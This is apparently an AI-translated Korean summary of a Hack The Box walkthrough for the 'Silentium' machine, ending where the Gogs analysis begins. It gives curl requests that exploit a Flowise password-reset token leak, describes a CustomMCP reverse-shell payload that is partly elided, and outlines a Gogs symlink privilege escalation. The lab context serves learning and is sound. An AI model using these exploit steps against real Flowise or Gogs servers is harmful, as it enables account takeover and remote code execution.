본문으로 건너뛰기

© 2026 Molayo

Dev.to헤드라인2026. 06. 23. 08:46

Hack The Box: Silentium 워크스루 (Walkthrough)

요약

Hack The Box의 Silentium 머신에 대한 보안 취약점 분석 및 공격 경로를 다룬 워크스루입니다. Flowise AI의 로직 결함, RCE, 그리고 Gogs의 심볼릭 링크 취약점을 이용한 루트 권한 획득 과정을 상세히 설명합니다.

핵심 포인트

  • Flowise AI의 로직 결함을 통한 초기 침투
  • 커스텀 서버 구성 요소를 활용한 원격 코드 실행(RCE) 획득
  • Gogs의 로컬 심볼릭 링크 취약점을 이용한 루트 권한 상승
  • LLM 오케스트레이션 도구 내 보안되지 않은 코드 평가의 위험성

요약 (Executive Summary)

Silentium은 노출된 스테이징 환경 (staging environments), 인증되지 않은 데이터 유출, 그리고 현대적인 LLM 오케스트레이션 (orchestration) 도구 내의 보안되지 않은 코드 평가 (code evaluation)가 초래하는 심각한 결과를 보여주는 고품질 머신입니다. 이 기술 보고서(writeup)는 Flowise AI의 로직 결함(logic flaw)을 활용하는 것부터, 커스텀 서버 구성 요소를 통한 원격 코드 실행 (RCE) 획득, 그리고 Gogs의 로컬 심볼릭 링크 (symbolic link) 취약점 공격을 통한 루트 (root) 권한 상속에 이르기까지 전체 공격 경로를 다룹니다.

1. 정찰 및 타겟 매핑 (Reconnaissance & Target Mapping)

네트워크 스캐닝 (Network Scanning)

우리는 대상 시스템의 열린 포트와 사용 가능한 서비스를 발견하기 위해 nmap을 사용한 능동적인 네트워크 스캔으로 작업을 시작합니다:

nmap -p- -sV -sC -v --min-rate 1000 -oN initial_scan.txt <TARGET_IP>

스캔 결과 두 개의 주요 진입점이 드러납니다:

  • Port 22/tcp: OpenSSH 서비스.
  • Port 80/tcp: 트래픽을 라우팅하는 Nginx 웹 서버.

적절한 도메인 해석 (domain resolution)을 보장하기 위해, 로컬 hosts 레지스트리에 기본 호스트 이름을 추가합니다:

echo "<TARGET_IP> silentium.htb" | sudo tee -a /etc/hosts

서브도메인 가상 호스트 발견 (Subdomain Virtual Host Discovery)

http://silentium.htb에 대한 표준 검사로는 결과가 제한적이므로, gobuster를 사용하여 숨겨진 환경이나 서브도메인을 찾아내기 위한 가상 호스트 퍼징 (virtual host fuzzing)을 수행합니다:

gobuster vhost -u http://silentium.htb -w ~/tools/Seclist/common.txt --append-domain

해당 도구는 활성화된 가상 호스트(virtual host)인 staging.silentium.htb를 식별합니다. 이 서브도메인을 우리의 /etc/hosts 파일에 매핑하고 브라우저를 통해 접속하면, 노출된 Flowise AI 배포 환경을 마주하게 됩니다.

2. 초기 침투(Initial Foothold): Flowise AI 로직 결함 악용

활성화된 Flowise AI 버전(3.0.5)은 자격 증명 복구 워크플로우(credential recovery workflow) 중에 심각한 로직 결함(logical flaw)을 포함하고 있습니다. 구체적으로, 비밀번호 재설정 요청이 시작될 때 애플리케이션이 활성 임시 재설정 토큰인 tempToken을 백엔드 API 응답 내에 의도치 않게 직접 포함하여 전달합니다.

우리는 이 버전에 대해 알려진 취약점을 검색하였고, 즉시 두 개의 CVE가 나타났습니다:

  • CVE-2025-58434 — 인증되지 않은 비밀번호 재설정 토큰 유출 (버전 < 3.0.6).
  • CVE-2025-59528 / GHSA-6933-jpx5-q87q - CustomMCP 노드를 통한 인증된 RCE (버전 < 3.0.6).

두 취약점 모두 3.0.6 이전 버전에 영향을 미칩니다. 따라서 현재 버전인 3.0.5에도 모두 적용됩니다.

**3. 계정 탈취(Account Takeover) — "열쇠 훔치기"

CVE-2025-58434

이 CVE 경고는 믿기 어려울 정도로 강력합니다. 3.0.6 이전 버전의 Flowise는 API 응답에서 비밀번호 재설정 토큰을 직접 유출합니다. 이메일 가로채기가 필요하지 않습니다. 악용 가능한 SMTP 설정 오류도 필요 없습니다. 단순히 서버에 비밀번호 재설정을 요청하기만 하면, 서버가 토큰을 건네줍니다.

발견된 기업 이메일인 ben@silentium.htb를 사용하여 계정 복구 엔드포인트(endpoint)로 타겟팅된 POST 요청을 보냄으로써, 우리는 이 토큰을 가로챌 수 있습니다:

curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user": {"email": "ben@silentium.htb"}}'

서버는 단순히 tempToken만 반환한 것이 아니었습니다 — 모든 것을 반환했습니다. 사용자 ID, bcrypt 비밀번호 해시, 계정 상태, 생성 날짜까지 말이죠. 단일 API 응답에 전체 데이터베이스 레코드가 덤프(dump)되었습니다. 이것은 미묘한 정보 유출(information leak)이 아니었습니다 — 정문이 활짝 열려 있는 상태였습니다.

새로운 토큰을 성공적으로 생성하고 계정 비밀번호를 업데이트하기 위해 평탄화된(flattened) 페이로드(payload)를 보낸 후에는 다음과 같습니다:

curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
...

http://staging.silentium.htb/signin으로 이동하여 ben@silentium.htb/ Whoami!를 입력하고 Login을 누릅니다.


새로 설정한 자격 증명(credentials)을 사용하여 관리자용 Flowise 대시보드에 성공적으로 인증합니다.

4. 안전하지 않은 코드 평가를 통한 원격 코드 실행 (RCE)

취약점 메커니즘 (Vulnerability Mechanism)

관리자 패널에 접속한 후, Model Context Protocol (MCP) 통합 기능을 살펴봅니다. /api/v1/node-load-method/customMCP 엔드포인트는 커스텀 외부 통합을 위한 설정 속성(configuration properties)을 처리합니다.

샌드박싱 (sandboxing)이 완전히 결여되어 있기 때문에, mcpServerConfig로 전달되는 모든 설정은 안전하지 않은 평가 방법 (unsafe evaluation methods)을 통해 하위 Node.js 런타임에 의해 직접 실행됩니다.

설정 페이로드 (Configuration Payload)의 무기화
우리는 네이티브 child_process 모듈을 임포트하여 비동기 리버스 셸 (asynchronous reverse shell)을 인스턴스화하는 즉시 실행 함수 표현식 (IIFE, Immediately Invoked Function Expression)을 감싸는 방식으로 이 동작을 악용할 수 있습니다.

우리의 악성 node 설정을 exploit_payload.json이라는 이름의 파일로 저장합니다:

{
  "loadMethod": "listActions",
  "inputs": {
...

브라우저 설정에서 관리자 세션 베어러 토큰 (bearer token) 또는 API 키를 추출하고, curl을 통해 실행을 트리거합니다:

curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
     -H "Authorization: Bearer <API_KEY>" \
     -H "Content-Type: application/json" \
...

우리의 리스너 (listener)가 연결을 포착하며, 이를 통해 애플리케이션의 Docker 컨테이너 컨텍스트 내에서 node 사용자로 인터랙티브 셸 (interactive shell) 권한을 얻습니다.

5. 호스트로의 측면 이동 (Lateral Movement to Host)

격리된 컨테이너 내부에서 작동하는 것은 우리의 범위를 제한합니다. 로컬 환경 변수를 빠르게 감사(audit)한 결과, 하드코딩된 프로덕션 자격 증명 (production credentials)이 발견되었습니다:

env

우리는 시스템 사용자 ben의 평문 비밀번호를 발견했습니다. 호스트 서버에 SSH 접속이 외부로 열려 있으므로, ben으로서 보안 터미널 세션을 수립하여 컨테이너 밖으로 전환합니다:

ssh ben@silentium.htb

User flag가 /home/ben/user.txt에서 획득되었습니다.

6. 로컬 권한 상승 (Local Privilege Escalation): Gogs 임의 파일 쓰기 (CVE-2025-8110)

내부 서비스 감사 (Internal Service Audit)

호스트 시스템의 내부 리스닝 포트(listening ports)를 확인하던 중, 3000/3001 포트에서 실행 중인 Gogs (Go Git Service) 로컬 인스턴스를 발견했습니다. 빠른 프로세스 점검을 통해 Gogs가 root 권한으로 직접 실행되고 있음을 확인했습니다:

netstat -tulpn | grep 127.0.0.1
ps aux | grep gogs

Gogs는 CVE-2025-8110에 취약합니다. 이는 자체 REST API를 통해 저장소(repository) 업데이트를 처리할 때 심볼릭 링크 (symbolic link)를 부적절하게 처리하여 발생하는 임의 파일 쓰기 (arbitrary file write) 결함입니다. 만약 우리가 중요한 시스템 레이아웃을 가리키는 심볼릭 링크를 푸시(push)한 다음, API를 통해 해당 내용을 업데이트하면, Gogs는 root 권한을 사용하여 대상 시스템 파일을 맹목적으로 덮어쓰게 됩니다.

공격(exploitation)을 용이하게 하기 위해, 내부 웹 서비스를 우리의 공격 환경으로 라우팅하는 SSH 터널을 구축합니다:

ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

7. 무기화 및 root 탈취 (Weaponization & Root Exploitation)

Gogs는 가벼운 셀프 호스팅 (self-hosted) Git 서비스입니다. 이러한 서비스들은 일반적으로 개발 팀이 내부 저장소 (repository) 용도로 설치하지만, 설치 이후에는 방치되는 경우가 많습니다. 이 시스템의 주요 취약점은 여전히 활성화되어 있는 공개 등록 (open registration) 기능으로, 포트에 접근할 수 있는 사람이라면 누구나 계정을 생성할 수 있습니다. 이를 이용해 저는 새로운 사용자로 등록하고, 로그인한 뒤, API 토큰 (API token)을 성공적으로 생성했습니다.

CVE-2025-8110 취약점 분석

AI 자동 생성 콘텐츠

본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.

원문 바로가기
0

댓글

0